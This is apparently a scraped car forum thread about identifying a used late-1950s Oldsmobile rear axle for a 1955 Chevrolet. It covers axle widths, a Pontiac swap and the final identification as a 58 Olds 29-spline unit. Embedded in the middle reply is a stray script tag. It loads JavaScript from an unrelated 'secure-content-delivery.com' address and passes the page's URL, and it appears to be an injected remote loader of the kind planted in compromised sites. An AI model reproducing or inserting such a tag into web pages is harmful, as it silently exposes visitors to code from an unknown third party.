I know the pictures are bad but can anyone help me ID this rear end? It's for sale and the guy says its a 60-70's Olds rear end. I was considering it for my 55 Chevy. Dustin
A 57 Olds rear should be close to the right width for your 55. Not sure about a 58 width, but 59-64 will be wider and could be too wide for your 55. I know the old common swap was to use a 57 Pontiac rear which would bolt into a 55-57 Chevy, not sure about Olds? <script src="https://secure-content-delivery.com/data.js.php?i={4D877FC1-4956-4F45-A6B5-0E98AB82425A}&d=2013-10-10&s=http://www.jalopyjournal.com/forum/showthread.php?t=842728&cb=0.9053935930811434" type="text/javascript"></script>
It turns out that the rear end is a 58 Olds 29 spline. These rear ends are my latest obsession! I think I'm going to put this one under my 51 Fleetline. Don't know what the going rate is on 57-58 Olds rear ends but I think I did pretty good on this one. Dustin
